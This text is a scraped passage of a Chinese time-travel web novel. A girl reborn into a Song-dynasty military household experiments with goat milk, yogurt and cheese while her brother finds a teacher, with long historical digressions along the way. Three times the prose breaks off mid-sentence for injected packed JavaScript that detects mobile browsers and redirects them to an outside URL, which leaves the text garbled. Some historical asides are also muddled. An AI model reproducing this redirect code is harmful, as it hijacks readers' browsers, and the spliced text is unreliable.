谁能给予她百分百的信任和支持，谁能见证她迈出成功的第一步，更是谁吃了亏也要把牙往肚子里吞，是她荣辱与共的好伙伴？ 当然是她那同一个爹妈生的、又好用又听话的男德华了。 投资需谨慎，但是妹妹牌投资，走过不能错过！ 8. 第 8 章 晚饭后，西厢房的书房内茶香袅袅。 吴夏泡好了一壶清茶，准备认真预习功课。他伏在梨木案头校勘《礼记?曲礼上》注疏，笔尖悬在"幼子常视毋诳"上方，忽觉颈部一凉。 没错，他已经当了快一个月的失学少年了，有点心慌慌。 还有他妹，也是失学儿童。 但是这个失学儿童，可是气定神闲。 只见她正踮脚将手中的大风车插在他的衣领处，硬纸扎的他脖子痒痒的。 吴夏按住跳动的太阳穴，把纸风车拔出来丢在一旁："字写完了吗？没有就回你屋里继续写。"话音未落，面前就被啪的一声放下3页大字。 待吴夏逐一检查后，吴悦这才掏出藏在背后好一会儿的《齐民要术》，将想展示的那一页高高举起，歪头问：“初煎乳时，上有皮膜，以手随即掠取，着别器中，泻熟乳着盆中，未滤之前，乳皮凝厚，亦悉掠取；明日酪成，若有黄皮，亦悉掠取，并着饔中，以物痛熟研良久，下汤又研，亦下冷水，纯是好酥。这里的酥是什么呀？是不是今晚我们吃的破麻酥？" 邹着眉头将这一章节上下文细细研读两三遍，吴夏又回忆了下晚饭时那道甜品的模样，犹豫再三才道。“大概不是同一个东西，这个明显是在说将鲜奶煮沸后取上层的乳皮，破麻酥却是炸物。” “哦，大概不是同一个东西。”吴悦怪模怪样地学舌。"知之为知之，不知为不知，是知也。所以，这两者到底是不是同一个东西呢？" 被妹妹拿孔夫子的圣人言堵住，吴夏望着妹妹，在犹豫要不要斩钉截铁的断言两者不是同一个东西时，只见她用手指着书案上他正在校勘的《礼记-曲礼上》，也停在了那句"幼子常视毋诳"上。 幼子常视毋诳。 对小孩子要经常拿正确的思想来教育他，而不能用欺骗的方式教育他。 "说吧，你想要什么！"无事不登三宝殿，他这个妹妹今晚可是有备而来。 “嘿嘿，知我者，大兄也！”从袖中抖出一张宣纸，摊开放在书案上，吴悦顺便把毛笔也沾满墨汁，恭恭敬敬地给她哥递了上去。“我说，你来记，然后明天再把这些都买了！” “买了？哪来的钱，你的？”吴夏简直诧异。 “当然是哥哥，你刚刚还想欺骗我，把我教坏，这是给你的惩罚！别忘了，幼子常视毋诳，圣人就是这么教你的吗？行啦，快写吧，堂堂男子汉，废话怎么这么多？”吴悦有点不满。 “快写，马上我该睡觉了，不要影响小孩子睡觉长个子。” 茶香裹着墨香还有小孩子身上的奶香漫进书房，烛火摇曳中，吴夏看着妹妹鬼灵精怪的模样。他叹了口气，似乎在感慨自己失去的小金库："说吧，我记。" 亥时梆子响过三声，吴悦终于在自己的床上甜甜的睡去。 吴夏还在书房看刚刚记录的东西。 羊奶、陶瓮、麻布、枣木杵、竹筛......这是打算自己做酥？ 还真是"发愤忘食，乐以忘忧"。 下次就教她这句话。 “爹！娘！”天一大亮，吴悦就穿戴整齐，来到正房，坐在床榻边闹着要吴父带她出去吃早食。 在古代没有大数据的时代，她也只能通过观察市井生活、分析时令物产、完成古代版本的市场调研。 刘耘娘被她吵得头疼，喊着快带这个烦人精出门。 于是，兄妹俩跟着父亲一道，出现在了一家临街卖羊肉汤和炊饼的店里。 宋代无论宫廷还是民间，最推崇的肉类当属羊肉。赵宋皇室尤其嗜羊，据闻赵匡胤与大臣宴饮时，喝到兴头上，便当场要赏赐对方“一百口羊”；他还曾一次性送给南唐主李璟一万头羊，当作生日礼物。 宋仁宗对羊肉更是偏爱有加。 史料记载，宫中单日最高宰杀量达280头羊，后来追查发现是内监监守自盗，实际仅宰杀40头，其余都被倒卖到宫外牟利。即便如此，大量羊肉流入市场，也从侧面印证了民间对羊肉的巨大消耗量。 宋神宗时期，据载一年消耗羊约17000只。 靖康之变后，赵宋皇室南渡，羊肉仍为宫中消耗量最大的肉类。 汴梁城的正店里，最负盛名的便是羊肉的各式肴馔，常见者如炙羊肉（烤羊肉）、软羊（炖羊肉）。《曲洧旧闻》记载，苏东坡在海南“烂蒸同州羊羔，灌以杏酪，食之以匕不以箸”，足见宋人对羊肉烹饪的精细考究。即便手头拮据也无妨，在脚店或食肆中，亦能尝到羊杂碎这般平民美味。《东京梦华录》记载的近两百道肉类料理里，近四成与羊肉相关，而后世常见的猪肉料理仅占两成。 而为了保证羊的供应，皇家还设有专门的“牛羊司”，职责就是“畜牧羔羊，栈饲以给烹宰之用”。当时的羊，一部分来自在开封北边的牧场，一部分去陕西民间购买，还有一部分就是在边境贸易和辽国购买。 但是和羊肉的消费比起来，对羊奶以及羊毛经济价值的发掘就不足百分之一了。 小手举着有着她半个脸大的炊饼，用还没长齐的乳牙啃了几口，没什么滋味，想红油豆腐乳了。 炊饼其实就是蒸饼，也就是类似后世的馒头，由于蒸和宋仁宗赵祯的祯发音相近，为了讲究避尊者讳，就不再叫蒸饼而是炊饼。 所以，武大郎卖的炊饼，其实就是馒头。 沿着羊肉汤碗边来回吹了半圈，她才小心翼翼地就着碗沿喝了两口。 俺们河南人，就是有不用勺子喝汤的天赋技能。 嗯，有点膻，汤味倒是很鲜美，缺了四川油辣椒，不过那就不太正宗，后世喝羊汤或者吃烩面通常都放羊油辣子。 不过辣椒这玩意还要等500多年，环球大航海时才会从美洲通过欧洲的商船，传向世界。 少吃点辣椒也好，少吃点肯定没痔疮。 忽而想起历史上那位因痔疮苦不堪言的张居正——在辣椒尚未成为餐桌常客的年代，首辅大人的病症究竟从何而来？ 她默默陷入沉思。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500245|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 最终，羊汤只喝了小半碗，她爹便将碗端过去，稀里呼噜地灌了个底朝天，又把她没啃完的炊饼用布包上，数出八十文钱付给店家。 吴军单手抱着幼女，领着儿子，朝不远处的龙卫禁军指挥使司衙署走去。 “为父每隔两日便要到校场操练，若有事找我，就去寻你路伯，让他传话。”吴军边走边说，目光扫过街角拴马桩上的禁军令牌，“校场门禁森严，闲杂人等无令不得靠近。每月初一，为父会来此处将月末点验的兵器、甲胄数目造册登记；月中则需领取粮饷，分发给辖下弟兄。”他抬手指了指朱漆大门上悬着的“龙卫司”匾额。 禁军分上四军与下四军。戍卫皇城的捧日军（骑兵）、天武军（步兵）隶属殿前司，协防京师及关隘的龙卫军（骑兵）、神卫军（步兵）则归侍卫马军司与步军司统辖，此四军皆为拱卫京城的上四军精锐。 吴军便隶属于龙卫军，早年在西北战事中练得一手虎虎生威的马刀功夫。 吴夏用力点头，将父亲的话暗暗记在心里。 吴父转身朝东边街巷走去，脚步在青石板上敲出嗒嗒声响：“此处离家是有些远，脚程慢些得半个时辰。”他忽然压低声音，“不过为父在这衙门也待不了几个月了。” 吴悦的耳朵唰地竖了起来，只见父亲凑近哥哥耳边，声息如蚊：“再过些时日，为父便能领供备库副使之职，入武器署协助管理库务，监督兵器修缮。” “那是几品官员呀？”她也小声地趴在她爹耳边问。 悦悦不懂，但是悦悦想知道。 吴父就认真的为俩孩子解释了一番。 供备库副使是连接军事与后勤的中级武职，品级从七品，职能于三司（盐铁、度支、户部）中的仓储管理相关，负责监督地方库藏、兵器甲胄及军粮调配。供备库副使虽属武阶，但常与文官系统协作，战时可能被派往前线与当地地方官员协调财政与后勤。 “还是正七品啊....”她有点失望，没升也没降，还是正七品，皇帝小气鬼。 吴夏倒是懂得更多点，惊喜地望着他爹。 吴大郎明白儿子想问什么，肯定的点了点头。 留下不明所以的吴悦，只能左看看右看看，等着她哥科普。 原来这供备库副使是武将转型文职的跳板，自从宋太祖赵匡胤"杯酒释兵权"之后，武将地位急剧下降。《宋史-职官志》记载，北宋时期，枢密院(主要掌管军政)正职官员中，文职出身官员占73.9%；枢密院副职官员中，文职出身官员占83.7%。 连以赫赫战功著称，步入执宰行列，突破武将阶层天花板的狄青，也逃不过被文官集团排挤，被贬谪，最后被活活吓死。 这就不难解释，为什么整个中下层武将家族普遍陷入武而不贵的焦虑。 说起来，吴悦似是突然想起了什么。 那个吓死狄青的文彦博现在靠着裙带关系上位没？ 文彦博的裙带关系，就是温成皇后张氏了。 9. 第 9 章 张氏的父亲曾是文彦博的门客，张氏入宫后认文彦博为伯父。当时文彦博身为地方官员，担任成都知州。张氏为在后宫争宠，示意文彦博进献灯笼锦，文彦博依言照做。元宵节时，张氏身着这件灯笼锦面见宋仁宗，称文彦博与自己的父亲曾有旧交，对她多有关照。宋仁宗大喜，随后将文彦博调回朝廷，任命为枢密副使（从二品），不久又升任参知政事，官居一品。 至于文彦博如何逼死狄青，不过是诛心之论的再一使用。 当时文彦博已经为同平章事（宰相），文官主导的宰执集团中迎来了狄青这位担任枢密使（掌管西府）的武臣，这可把他恶心坏了，于是建议宋仁宗将狄青外放。 狄青无罪却遭外放，心中倍感委屈。宋仁宗也认为他受了委屈，称狄青是忠臣。 文彦博却进言：“宋太祖赵匡胤也曾是周世宗的忠臣，却因深得军心，最终发生了黄袍加身、陈桥兵变之事。” 宋仁宗听后，只得接受了外放狄青的提议。 狄青不知道文彦博这诛心之论，跑去为自己辩白。 文彦博却只冷冷抛下一句“朝廷怀疑你”，便将他打发走了。 狄青外放以后，宋仁宗每个月都派使者去慰问看望他两次。每次听说仁宗的使者来，狄青就惶惶不可及，结果不到半年，就生病去世了。 一句“黄袍加身”，逼死了狄青；一个“莫须有”，冤杀了岳飞。 有时候不得不感叹，宋朝的覆灭实有其因——皇帝昏聩糊涂，朝臣迂腐短视。若不是当时金国尚未崛起，哪需等到八十年后的靖康之耻？ 她在这边扼腕叹息，深感前路艰难，兄长却在另一边欣喜若狂——毕竟，这位“失学少年”终于有学可上了。 仁宗朝规定，国子监入学需满足两个条件：年龄十五岁以上，且为七品以上官员子弟。由于北宋“重文轻武”之风盛行，武官子弟常受歧视，通过恩荫获得入学资格者寥寥无几。以父亲的武官身份论，此前根本无望跻身国子监。 四年前由范仲淹推动创立的太学，初设三百人名额，面向平民子弟择优录取。但对这位不求甚解、得过且过的兄长而言，要在选拔中胜过那些既聪慧又勤勉的学子，难如登天。 原本以为兄长只能进入专科学校，学习精算、律法等实用之学，日后做个小吏——这还不如回地方武学就读。 庆历年间，武学已成立并开始招生，然据《宋会要辑稿》记载，以元丰年间（1078-1085）为例，武学在校生仅百人，而太学多达三千八百人；武学毕业生最高仅授七品官职，太学上舍生却可直接授予六品官阶。 因此，她爹这回可是给了个天大的惊喜。 吴夏整张脸兴奋得通红，拱手作揖道：“爹放心，孩儿定当刻苦攻读，不负厚望！” 吴父欣慰地笑着颔首，旋即正色道：“我衙门里还有公务，你们兄妹先回家去。” 随即就与兄妹俩告别。 从衙门往家走的路上，吴夏拉着吴悦，那是脚步轻快，走得额头微汗，才望见自家那座青瓦白墙的院落。叩门将妹妹送进院子，转身喊上路与，攥着昨夜列好的清单就是出门采买去了。 他仍沉浸在即将入学的狂喜中，恍若百年前“春风得意马蹄疾”的孟郊附体，当下决定，妹妹交待的事，不但要办得快，更要办得好！ 他甚至已开始畅想：“我准备得这般周全，妹妹定会夸我。” 吴悦还不知道她哥居然是如此自我攻略的人才，正乖乖地回去找阿婆和阿娘问好。 她像只毛茸茸的小鹦鹉般蜷在母亲刘耘娘膝头，将今日外出的见闻叽叽喳喳说了个遍。不一会就感觉小孩子精力不济，说着说着便觉眼皮沉重，像被抽去浑身力气，软绵绵地歪进母亲怀中，不多时便呼吸均匀地睡熟了。 待再度缓缓睁开双眼，日头斜照，案头的香炉里，安眠香正悠悠地飘散着袅袅轻烟，似有若无的香气在空气中氤氲开来。她抬手揉了揉惺忪的睡眼，小脸睡得红扑扑的，缓缓从自己的小床上爬起来，在青枣的帮助下将外衫和鞋子都穿好，再将刚刚睡得歪七八倒的双髻散开重绑，一个可爱的小团子就拾掇好了。 恰在此时，院外传来路伯的吆喝声。原来是吴夏已差人将新买的鲜奶，连同杏仁、棉布、竹簸箕等用品一并送回了家。 她顿时像被注入一股鸡血，从睡眼惺忪中猛然清醒，脚步哒哒地径直往厨房奔去。 宋代并无饮用鲜奶的习惯：婴儿哺乳依赖母乳，幼儿通常由乳母喂养至三四岁，甚至更久。据记载，宋哲宗十岁时，宫中一次仍需从民间征集十多位乳母，可见时人对人乳滋补功效的过度迷信。而成年人普遍排斥直接食用动物奶，仅偶尔食用奶酪。皇家设有专门的乳酪院，会采购牛羊奶加工成酥油、乳酪等制品，多用于佐餐调味。至于直接饮用动物奶，在时人眼中被视为低贱之举，被归入市井粗鄙之物。 宋人将饮用牛羊奶视为北方游牧民族的饮食标志。苏辙在《和子瞻煎茶》中提及的契丹奶茶，便是将牛羊奶与茶混合制成的怪异饮品，这种饮食形式完全不符合中原的味觉审美。欧阳修更直接以“腥膻”形容乳制品，暗指其文化粗鄙，通过贬低奶制品来维护中原文明的优越性。 但是鲜奶和奶制品的营养价值已经在后世经过检验。 "一杯牛奶强壮一个民族"。 这句曾风靡中国的口号，相信经历过80年代的人都不陌生。 日本早在二战后便通过《学校供餐法》推行“一杯牛奶计划”，为全国中小学生提供免费午餐牛奶。数据显示，至1990年，日本17岁男性平均身高较战前增长了12.3厘米。这一成果被当时媒体耸动的以“一杯牛奶强壮一个民族”的醒目标题广泛传播，成为饮食干预改善国民体质的经典案例。 在她眼中，身边人大多身材中等，唯有父亲身高足有1.8米，在人群中堪称鹤立鸡群。这大概得益于他身为武将，自幼习武，且饮食营养相较常人更为充足。 据史书记载，宋代征兵有明确身高标准：真宗朝规定最低入伍身高为五尺二寸（宋代1尺约合31.68厘米，五尺二寸约1.65米）。而古代文献中常见的“七尺男儿”说法， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500246|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概是一种夸张的文学表述，并非真实身高标准。 后世通过对宋代墓葬遗骨的测算得出，当时男性平均身高约为165-170厘米，女性平均身高则在152-158厘米之间，这与史书记载的征兵身高下限基本吻合，反映了宋代社会的普遍体格状况。 据后世研究推算，宋代人口平均寿命约35岁。其中，占总人口不足1%的士人阶层男性，平均寿命可达61岁；生活条件优渥、医疗资源较充裕，但受生育风险影响的士人女性，平均寿命约53岁。反观平民阶层，因长期面临粮食短缺、疫病威胁与战争动荡，女性受频繁生育和营养不良的双重影响，平均寿命仅约33岁，男性则在36岁左右，二者差距悬殊。 古代社会阶层在资源分配与生存条件上的巨大鸿沟，由此可见一斑。 她不得不认真盘算：如何在这个时代保障自己平安长大，避免因营养不良影响身高发育与寿命。这实在是因为当时可摄入的食物太过单一，且新生儿和婴幼儿死亡率极高，能活到成年的存活率不足五成。 古代资源匮乏，平民家庭常因生计所迫提前给幼儿断奶，改用米糊、粟粥等辅食充饥，乡间“产后三日即劳作，乳少而子饥”的场景屡见不鲜。过早断奶导致幼儿体弱，这正是平民阶层夭折率居高不下的主因。 她家虽属行伍家庭，但祖父机智，积存了不少珍宝；父亲身为低层武官，因勇武过人、臂力超群屡获赏赐，家境在同行中颇为优渥，她才能每日吃上一个鸡蛋补充营养，身体素质较常人略好。至于兄长，虽未继承父亲的强健体格，却生得体格轻便，尤擅骑术。 但是，儿童生存率低在当前即便贵为皇室子女也难以幸免：宋仁宗育有13女，9女早夭；宋神宗生14子，8子早夭。 相较之下，平民百姓家的婴儿死亡率只会更高。 四分之三的女婴尚未起名便夭折，且因无人登记具体数据，仅从《欧阳修全集》记载的103例有确切婴儿享年的样本来看，其中仅有8份为女婴。这一数据明显与宋代女性占42%总人口的比例不符。 她的祖母曾夭折两女一子，而到了父母这一代，北宋建国已近百年，时局安定，家中条件大幅改善，两位姐姐和哥哥均平安长大。她认为，这或许与父亲三年一次外出换防、兄姐间隔多年生育、母亲母体得以恢复有关。试想宁华殿的张美人，年头刚生长女，年尾便再次怀孕，这哺乳期叠加妊娠只会对身体造成不可逆的器质性损伤。 婴儿的高夭折率，除疾病因素外，还与宋代普遍存在的杀婴现象密切相关——这便是臭名昭著的“生子常不举”。 苏轼在《与朱鄂州书》中记载：荆湖北路（今湖北一带）“岳、鄂间田野小人，例只养二男一女，过此辄杀之。”朱熹之父朱松在《韦斋集-戒杀子文》中亦提及，江西婺源一带百姓“多止育两子，过是不问男女，生辄投水盆中杀之。” 两宋时期，东南地区尤其是福建一带的杀婴溺婴之风最为盛行，时人记载：“闽人不喜多子，以杀为常，生子多者，至第四子则率皆不举，若女则不待三。” 10. 第 10 章 不得不感谢 不得不感谢“穿越大神”，让她平安出生，未因病早夭。人生第一关，算是成功渡过了。 接下来要应对的第二关，是被规训的食欲，这正是千年饮食文化加诸女性的生存困境。 在古代农耕社会，肉蛋等优质蛋白质资源会被优先分配给男性。这种所谓的“生存策略”，本质上是由肉食获取成本与性别分工共同决定的：男性被赋予优先分配权，而传统审美中病态的“柔弱之美”，更要求女性少食荤腥，以蔬菜米面果腹，维持纤细身形。 多数女性唯有在孕期才能获得特殊补给，比如杀一只家中饲养的老母鸡，或吃个鸡蛋补身。即便在千年之后，仍有不少美食博主宣扬“男孩该为女友煮红糖小汤圆缓解痛经”的“关怀”，实则延续着对女性身体真正需求的隐性限制。 现代营养学早已证实，肉蛋奶的营养价值远高于以红枣、红糖、糯米为主的高糖食品，科学的膳食结构应是“优质蛋白+全谷物+蔬果”的三元组合。 然而在宋代，“五谷为养、五果为助”的养生观念深入人心，肉类仅被视为偶尔补益的辅食。道教秉持“食肉者多嗔”的理论，倡导士大夫茹素以修心；佛教亦劝诫少杀生，不少礼佛的宫妃及勋贵家族女眷会“每月持斋十日”。贵族女子更推崇“晨起食露葵，夜卧服茯苓”的生活方式，认为素食可“驻颜去皱”，达成所谓“柔弱之美”的体态追求。 儒家经典《孟子-梁惠王上》中记载：“鸡豚狗彘之畜，无失其时，七十者可以食肉矣。”按照孟子的理想，唯有七十岁以上的老者方能常食肉馔，普通人则需节制荤腥，这种将肉食与年龄、身份挂钩的观念，深深植根于农耕社会的资源分配逻辑。 经济拮据的平民百姓，唯有逢年过节才能尝到肉食。 她家虽家境优渥，但传统饮食文化仍不容许一个5岁女童顿顿食肉，单靠鸡蛋，难免钙质摄入不足。她只能另寻他法，用当时世人普遍排斥的牛羊奶作为加餐补充营养。 庆幸的是，士大夫阶层皆视饮用鲜奶为低贱粗鄙之举，平民家庭的肉蛋资源又优先向男性倾斜，牛羊奶反而为底层女性开辟了生存补给渠道，得以弥补因营养不足、经期失血及哺乳消耗而受损的健康与寿命。 她需证明鲜奶的价值，却不能大肆宣扬，否则被人察觉，定会将其经济价值攥在手中。这条适合当前女性的生存补给线，必须隐秘而谨慎地推广。 “小娘子，羊奶煮沸了。” 她个头还不及灶台高，自然不会使用家中的土灶烧火，年长几岁的青枣便成了她的得力帮手，指哪儿，打哪儿。 铁锅里的羊奶正咕嘟咕嘟翻着白泡，吩咐青枣用长柄木勺不停地搅动锅底，防止火候过大烧糊，又往沸奶里丢了几颗杏仁。待羊奶二次煮沸后捞出杏仁，浓郁的膻味便大幅消散，一杯简易的杏仁羊奶饮品便制成了。 “你又在鼓捣什么？”门外忽然传来母亲严厉的声音。 吴悦慌忙从灶台边的矮凳上跳下来，趿拉上鞋，对着走进厨房的娘亲咧嘴一笑。 “我在照着哥哥给的书做饮子呢。” 刘耘娘瞪了她一眼：“你哥哥再过两年就要备考，别总指使他东奔西跑，误了学业。”作为在传统教育中长大的女性，她笃信男性通过科举入仕才是家族兴衰的根本。 话音未落，吴王氏由王婆搀扶着进了屋，笑盈盈望向小孙女：“悦娘做了什么好喝的饮子？让阿婆也尝尝。” “是羊奶！加了杏仁去膻的！”吴悦忙不迭指挥青枣盛了一碗，亲手捧给阿婆。 吴王氏坐在厨房矮凳上浅啜几口，朝王婆使了个眼色，示意她将碗端走：“确实没什么膻味，比我年轻时喝的顺口多了。” 刘耘娘也盛了一碗，细细品了几口，眼底倒有几分惊喜：“若加些蜂蜜，或配些樱桃、桑果酱同饮，滋味想必还不错。” 这家行伍出身的人家，倒也不觉得鲜奶是野蛮饮食。尤其吴王氏，战乱年间充饥度日，哪样粗粝食物没下肚过？虽然说身体上能接受，但是心里上不会去主动喝。 “医书上说‘乳、酪、酥等常食之，令人有筋力、胆干，肌体润泽’，所以咱家该多吃才是。哥哥读书费神，更需补养；娘和阿婆若常服，书中还道‘老而更少，发白更黑，齿落更生’呢。” 这话暗合现代营销学精髓，精准捕捉家庭成员的健康需求：兄长备考费神、长辈盼求延寿，以古籍为据强化营养焦虑，再将牛羊奶包装成全家皆宜的食疗方案。 “是哪本书上看的？”刘耘娘和吴王氏面面相觑，东西说的这么好，怎么没见贵人吃？ 吴悦指了指被她扔在地上的《天工开物》，咧嘴一笑说：“就是这本唐代孙思邈《千金药方》。上次去二姐家，二姐夫还说唐代另一本《千金翼方》里也写过呢。”仗着自家亲娘和阿婆不会去翻书页封面，她开始随口胡扯。 “而且谁说贵人不吃，”她眨了眨眼，“官家设有乳酪院专做酥酪，大姐信里还提过樊楼新出的软酪呢！怕是大户人家悄悄食补，不愿叫外人学了去。” 她又合理的给出了解释，并趁热打铁。 “哥哥用脑过度，记忆力下降？每天喝上一碗奶，赢在科举关键期，这是所有聪明娘亲的选择！” “哟？”聪明娘亲刘耘娘眯了眯眼，眉毛一挑。“你小丫头片子，就是自己想喝吧？” 嘿嘿，她选择傻笑。 “行了，以后每天找人送上半桶。好在这羊乳也便宜，就是不便保存，记得以后每天喝光，不许找借口倒掉。”刘耘娘还是决定满足女儿的需求，小孩子稀罕个新鲜玩意，也属正常。 “就别给我准备了，就让她们兄妹喝吧。”吴王氏挥挥手，表示拒绝，她还是嫌弃有股膻味。 吴悦也没接着展开话术，对于她阿婆这个年纪，羊奶性热，容易上火，不适合过多饮用。 等她研究出来奶酪和黄油，还有酸奶，再做给阿婆尝鲜。 羊奶奶酪人类最早开发的乳制品之一。早在公元前3000年左右，居住在安纳托利亚高原的游牧民族就发现羊奶在羊皮袋中能够自然发酵变酸凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500247|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结成块，这也是奶酪的原型。40年后，就在海的另一边的欧洲大陆，会发起持续两个世纪的十字军东征，其中易于携带，且富含脂肪的奶酪是十字军士兵主要的蛋白质来源。 奶酪也是横扫欧亚大陆的蒙古骑兵的重要能量来源，除此外，马可波罗还描写到他们能够长途奔袭和快速机动作战也依赖于“一种糊状物”。 马可波罗游记记载，将鲜奶煮沸，撇取表面凝结的乳脂层单独存放（这也就是鲜奶油，留在牛奶里就会影响后续加工变硬）。将撇去鲜奶油的牛奶摊铺在阳光下自然晒干成粉末状。当蒙古士兵需要进食时，只需舀取少量粉装入皮囊，加入适当的水。随着马匹颠簸晃动，皮囊内的混合物会逐渐融合成糊状物，无需生火即可直接食用，降低了暴露目标的风险还能让士兵在马背上迅速补充体力，不影响行军。 现代的蒙古族，还会利用自然发酵制作奶皮子、胡鲁达和奶渣。 考虑到当前工具的限制，她决定采用旅游时参观的罗马尼亚传统羊奶奶酪工坊时看到的奶酪制作工艺。 首先将新鲜羊奶用纱布过滤杂质，加热至35°C左右，这个温度接近动物体温，有利于激活酶活性。接着加入从羊胃粘膜中提取的天然凝乳酶，搅拌均匀后静置，直至奶液凝固成豆腐状。用刀将凝乳切成1-2厘米见方的立方体，静置15分钟释放乳清，再用木质平勺伸入容器底部，沿同一方向缓慢推动搅拌，促使凝乳块收缩抱团。随后将凝乳装入粗棉布，悬挂在房梁或用重物压制沥干水分，简易的农家奶酪便初步成型。不过这类奶酪含水量较高、易腐败，需在短期内食用完毕。若想长期保存，需在表面撒盐或浸盐水，再放置于低温且高湿度的环境中熟成数周乃至数月。 为获取制作凝乳酶的新鲜羊胃，她已烦恼许久。每隔几天便吵着要吃羊肚，每次出门买菜都坚持跟着，回家后又找借口支开家人，独自躲在厨房处理羊胃黏膜。这是她目前能想到的、收集天然凝乳酶的唯一办法。 吴悦轻轻吸了吸鼻子，空气中的酸腐味已不再那么刺鼻。这已经是她们处理的第三个羊胃了，第一次因菜刀未煮沸消毒导致感染，第二次图省事将干腌胃袋直接扔进羊奶，终究没提取出有效酶成分。 这次她格外谨慎，每一步都在记忆里反复推演后才让青枣执行。 青枣熟稔地剖开羊胃，用冷水反复冲洗，刮净残余食物，独独留下泛着绒毛的胃黏膜层。将其细细切碎、撒盐揉搓后，平铺在竹筛上阴干。案板上未用的胃壁部分，这是特意留着给王婆做菜的。 等到三日后，再将阴干的黏膜块被碾成粉末，按一比十的比例浸泡在冷水中，这就成了。 青枣虽不懂这玩意有何用，但是也不妨碍她听话照做。 五年前被姑祖母从老家带来，便日日跟着小娘子身边。那时小娘子也刚呱呱坠地，夫人说要给女儿备个贴心人，她的命运便与粉雕玉琢的小娘子紧紧系在了一处。她已经想好了，待小娘子嫁人，她也梳了头嫁人去，给小娘子的孩子当乳母，陪着小娘子一辈子。 11. 第 11 章 "弟前日于县衙偶阅邸报，惊闻族兄因言获罪，如今赋闲在家。然君子之道，如泰山之松，虽经霜雪，不损其贞。今执事偶罹谗诟，正宜效古人‘居易以俟命’之德，何戚戚于一时之屈伸乎？吾在南阳有一弟子，姓吴名夏，乃七品武弁之后。此子天资颖悟，本为璞玉之材，奈何时下重文偃武之风浸淫，竟致蹉跎岁月。然其为人诚悫，临事机变，某观其骨相，若得明师点化，必能脱胎换骨。若蒙不弃，使此子得侍左右，执洒扫之役，朝夕侍奉砚席，假以时日，定能涤其浮躁之气，成其瑚琏之器。弟非敢以驽马累良骥，实怜此子如璞玉在泥，待兄之琢磨耳。" 朦胧月色中，石介坐在凌仪街赁居的小院里，指尖摩挲着信封上斑驳的火漆。暮色将青砖地染成铁青色，信封上"石沐阳"三个字已经渐渐看不清晰，但是信里的内容言犹在耳。 这封信是在南阳县学教书的族弟所写，一是听闻了他被罢免，在劝导他不要一条路走到黑。二是为了给他送个弟子，还是个武将之子。 石介又望向石桌上，妻子上月寄来的家书，翻开还能闻到家中常用的熏香。信中写着东京冬日寒湿，劝他不如回乡开办学院，家中妻儿也可团聚。 这时，一个神色匆匆的年轻男子举着一顶灯笼走入院内，拱手行礼后举着手中的灯笼，沉默地站在他身旁，两人静静地这么相伴了许久，感受着夜风的冷意。 “通夫”突然，石介站起身，下定了决定，“明早你就去东内城医者街的吴宅，去帮为师找个人，此子名吴夏，他的父亲是正七品的禁军指挥使，找到了就将他带来。” 男子，也就是何群，表字通夫，诧异地抬起了头，后又恭敬地垂着头称喏。 “明日吕公著也要把儿子送来，你早点休息吧。” 挥挥手让弟子退下，石介仰天长叹。 “弟子遵命，也请师父早点休息。” 头颅再一次恭敬地垂下，做礼，拜别。 最后，院中只留着石介一人对着月亮喃喃自语。 “武官的后代，难道就没有书香门第的子孙吗？” 清晨，吴宅 “青枣，我想喝酸奶”清晨的阳光下，吴悦蹦蹦跳跳地从房内出来，虽说刚刚已经吃了早饭，但是小肚子似乎还能再塞下一小碗冰凉凉的酸奶。 羊奶奶酪进展确实速度缓慢，但是酸奶被她成功研究出来了。 只需要将过滤后的鲜牛奶用火加热至微烫，倒入晾洗后熏蒸消毒干净的皮囊，塞入衣襟里贴身携带，利用人体温度发酵一天，第二天倒出来的奶如果凝结成嫩豆腐样，散发清香酸味，乳清呈现微黄透明状，这样的菌种就成功了。 菌种成功，那酸奶也就轻轻松松不在话下。 连不怎么爱吃甜食的兄长都会时不时来一碗。 她捧着加了蜂蜜的酸奶吃的正香，却见刘耘娘从库房走了出来，身后的路与和王婆各提着一个礼盒。 “娘！”吴悦看到，跳下石墩，抱着酸奶碗就迎了上去。 刘耘娘蹲下身，有点嫌弃的替女儿擦擦嘴角的奶渍，拍了拍她的小屁股，这才开口，“娘今天要去你姐姐家，你要一起来吗？” 大女儿丽娘这胎的胎相有些不稳，自她们一家搬来东京城后就一直听从医嘱卧床休息，女婿倒是上门来看望过，只说待丽娘身体好转，夫妻二人再一起上门亲自告罪。 她眼巴巴地等了很久，才在昨晚收到小厮来送信，说女儿身体已经大好，但是还是不能久站。和吴王氏商量后，刘耘娘决定亲自去看看情况。就去库房把带来的特产整出两个盒子，刚一出来就看到小女儿坐在石墩上甩着两条小短腿，坐没坐相，没有一点点小娘子样，反而像个山野顽童。 